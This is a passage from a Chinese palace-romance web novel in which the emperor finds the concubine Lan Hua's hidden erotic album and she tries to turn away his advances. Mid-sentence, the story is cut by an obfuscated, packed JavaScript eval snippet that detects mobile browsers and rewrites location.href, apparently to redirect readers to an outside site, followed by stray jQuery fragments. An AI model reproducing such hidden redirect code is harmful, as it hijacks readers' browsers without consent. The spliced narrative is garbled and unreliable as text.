烛火照耀下,段熠身上的墨黑缂丝腾云祥纹织锦常服上的金线泛着淡淡的金光,那张棱角分明的脸上一双漆黑的眼眸正灼视着她。
许是过了太久闲散日子,对突然闯进来的皇帝,兰婳竟忘了要行礼,呆楞着坐在绣花床上,背后还枕着松软的满绣靠枕,看上去颇为舒适。
段熠见她发愣,也没气恼,踱步向那绣花床走去,等人到了面前,兰婳才清醒过来。
正欲下床穿鞋,男人就顺势坐了下来,压住了她身上盖着的被子,压下眉头,
对着那灼灼目光,兰婳心如擂鼓,这下……她好像连行礼的机会都没了。
讪讪笑了一下,“陛下怎么突然过来了,臣妾都没能好好准备着,让您看笑了。”
果真是人在尴尬的时候,说这些客套话最好使,只要她认错速度快,就不信他还好意思揪她小辫子。
兰婳因心中慌乱,面上强装着苦笑,落在段熠眼里又成了另一种意思,连带着她说的话都添上了几分别的意味。
也是,冷着一个月没见,这女人心里有些委屈也是正常的,想对他撒娇卖乖也在情理之中,只是演技拙劣了些,藏不住脸上的担忧,
本以为她在宫里吃好喝好,如今看来却也不过是□□凡人,哪能没有喜怒哀乐呢。
想到这,他的语气放软了些,“朕路过这里,进来看看,你方才在藏什么?”
他指了指她的手,示意她方才手上拿着的书。
说起那被藏起来的《八方杂谈》,兰婳脸上瞬间变得嫣红一片,笑容怪异的尴尬。
她能说自己方才愣在床上忘了行礼,不是因为别的,而是因为看见他便想起那美色害人的男狐狸吗?
怪就只怪他非要在她刚看完的时候突然进来,又生得此般模样,怎能不让人想入非非。
皇帝着实是继承了李太后的美貌,甚至于更甚一筹。
额头宽阔,长眉入鬓,剑眉星目,微扬的嘴角又因面容清疏而带有矜贵的气质,肩宽背阔,隐隐便让人想象得到那布料下蓬勃肌肉,光是坐在那便让人移不开眼。
此刻莹莹灯豆下,那双寒星般的眸子显得更加深邃耀眼。
皇帝见她不说话,伸手要去摸那藏书的地方,
兰婳一着急,也顾不得为什么,一把拦着男人的手。
人就是这样奇怪,越是看不着就越想要看到,何况兰婳此刻的神情就差把“有鬼”两个字写在脸上了,
男子的力量终归是要比女子大些,段熠一手擒拿住人,空出一只手就要去寻。
兰婳也不知自己在急什么,可就是很着急,极力反抗挣脱,却失了力道,一个埋头猛地向前扎去。
段熠的动作一顿,低头去看胸前那颗毛茸茸的脑袋,见她如此执着,无奈下就要收手回来,这时突然碰上一处坚硬,似乎是书的一角,
左右都找到了,索性便拿来看看,猛一抽手将书拿出来。
这一看不得了,段熠眼神微变,戏谑地笑道,幽幽的声音在兰婳的头顶盘旋,
“兰才人每日废寝忘食,刻苦攻读的,原来是这个啊。”
兰婳以为那杂记被他找到了,于是放弃抵抗,刚才一时着急,其实不过是一些离谱的传闻故事,被他嘲笑一番粗鄙无文也就罢了,何必弄得做贼心虚的样子呢,他又不知她错把他当成男狐狸的事。
她这般安慰自己,悻悻抬头,待看到皇帝手中拿着的东西,忍不住尖叫出声,她此刻简直想要找个地洞钻进去,或是索性装晕,一了百了。
段熠手中拿的不是那本杂记,而是之前徐嬷嬷给她千辛万苦找来的精细版春宫图,后来被她遗忘在角落里。
人最倒霉的事莫过于如此了,前有众目睽睽之下火烧衣裙,后有被皇帝亲自找出这本不堪入目的艳书。
兰婳先是强扯出一丝笑意,然后将手抽了出来,掀开被子要去穿鞋,讨好道,
“陛下一定口渴了吧,臣妾这就给您去沏茶。”
说完,就要趁其不注意将画册夺来,被段熠转手躲过,顺带还踢走了脚塌上的绣花鞋。
段熠微微眯着眸子看着她,眼神像是在审视猎物,兰婳心里陡然升起一股不好的预感,这样的眼神她太熟悉了。
下一秒,就听见他道,“既然爱妃如此刻苦,朕也不能拂了你的心意,择日不如撞日,今夜便来温习一二罢。”
“不行!”兰婳急急开口道。
“怎么?”段熠被毫不犹豫的拒绝,脸色有些不好。
兰婳看着近在咫尺的男人呼吸声渐重,双眸散着□□,一副虎视眈眈的模样,感觉下一秒人就要扑上来,
就是朋友一月不见也要寒暄几句,这人怎么一上来便要做那档子,这谁能答应。
不是忙得很吗?怎么看着精力还是这样旺盛。
也怪她没收拾好,徐嬷嬷说要考校她,后来她被禁足在宫里,便也暂时忘了这茬儿,那画册就这么待在角落里待了整整一个月,这么久没发现,她也是倒霉,今日竟一下被别人翻到了,偏这人还是皇帝。
这是怎样的运气,她今日若是下赌,定能赚得盆满钵满。
她左思右想,想到了个借口,而后面含羞怯喃喃道,“臣妾来了月信,恐冒犯了陛下,陛下还是离远些吧。”要想名正言顺拒绝,便只有这一个借口了。
话刚说完,她就见皇帝的脸色一沉,又心想自己这借口是不是太拙劣了些,
她现在只想皇帝赶快离开,最好转眼就把那画册的事情忘了,忘得越快越好,她现在想起来都觉得丢人,
于是委婉道,“陛下若着急,长信宫倒是离这里不远,陛下何不去韩昭仪宫里坐坐。”正所谓肥水不留外人田,只能暂且先牺牲一下别人了。
说完,她将头埋得更深了,只等着这人因为被拒绝而恼怒,痛斥她几句后就走,她是想将人留住,只是今夜不成,属实是太过荒唐!太丢脸了!若有下次她定会好好把握机会,一雪前耻!
她怯怯地扫了一眼那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070812|176403||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
册子,不堪入目……不堪入目啊……快走吧……
可过了一会儿,等得她脖子都有些酸痛了,坐着的那人仍是没有要起身的意思,低头散落的青丝散落在眼前,挡住了她想要进一步去探看的意图。
皇帝此刻牙关紧闭,面沉如水,极力克制住自己想要将眼前之人扔出去的举动。
她竟敢拒他,若不是他将这宫里蒋嫔的人都揪了出去,蒋嫔那要致人于死地的狠毒手段,她还能安然无恙的在这里与他说话?
这些时日锦衣玉食的供养倒将人养成了白眼狼,不履行妃嫔的义务,现在还想将他塞到别的女人宫里,难不成他这皇帝是个什么东西,还能随意驱使?
她悄悄看这东西不就是为的今晚吗?难不成能为了别的人?
想到这儿他怒意更甚,好一个欲情故纵!
“你再说一遍!”段熠的声音冷而冽,似极北之地千年不化的寒霜。
兰婳心里打了个觳觫,给她机会她也不敢了,这宫里识时务者为俊杰,在太后面前示弱的法子在他面前也应当有用吧。
于是,她便又将双肩微微内扣,垂眸敛声,连呼吸声都刻意压制,从前自己犯了错,只要自己这样,母亲就会瞬间气消,徐嬷嬷也说,示弱是最好应付男人的法子了。
兰婳生得明艳,未施粉黛也难掩肌肤若雪,两弯细细的秀眉下是一双清润无暇的眼,皎若月辉,眼眶泛红,此刻盈盈弱弱,让人心中不禁生起怜惜之情。
段熠的眉心突突的跳,嘴角扯出一丝笑,又来这一招!她就这么怕他?装作这副模样还以为让人欺负了,不过是吓唬几句,就成这样,当真是好手段。
“那你先解释解释这是什么?”段熠将那本画册举在她眼前,好整以暇道。
兰婳刚平复好的脸色,此刻倏地一下炸红,胡乱道,“陛下这么久没来,嬷嬷让我多学学,说以后用得上。”
她看着那画册在她面前来回翻动,羞怯不已,说话是想到什么就说什么,也不管其中逻辑,囫囵个儿一股脑全倒出来。
“臣妾蠢笨,学艺不精,那个……近日膳房伙食好,还吃胖了许多,恐让陛下不满意,还是算了吧。”
皇帝听了,突然轻笑道,“你这嬷嬷很明事理,朕要好好赏她,”
想起她刚才似是在抱怨他许久没来,段熠下意识就要解释,
“朕不是不来你这,是……”正说着,又停了下来。
他看了看已经悄悄抬起头的兰婳,眼底闪过顾虑的情绪。
罢了,他是皇帝,要什么便有什么,为什么要向一个女人解释这些。
于是话锋急转,想逗逗她,便故意道,“朕瞧着胖瘦正好,手感也应当不错。”
兰婳看了眼自己身上那二两肉,这手感要是好,那就见鬼了。
还未来得及再拖延几句,就听人斩钉截铁道。
“今夜风大,朕不走了。”
兰婳:???现在风大,那方才来的时候风就不大了?